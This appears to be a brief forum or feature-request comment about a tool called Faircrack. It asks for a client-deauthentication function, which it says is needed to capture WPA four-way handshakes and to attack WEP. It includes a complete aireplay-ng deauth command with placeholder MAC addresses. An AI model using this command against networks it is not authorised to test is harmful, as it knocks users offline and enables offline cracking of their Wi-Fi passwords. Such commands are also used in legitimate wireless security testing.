Faircrack has at least one very important action missing, which is the ability of it to deauth a client. This is especially needed when trying to capture the WPA 4 way handshake and to a lesser extent when using it against WEP

aireplay-ng -0 2 -a 00:11:22:33:44:55 -c 99:88:77:66:55:44 wlan0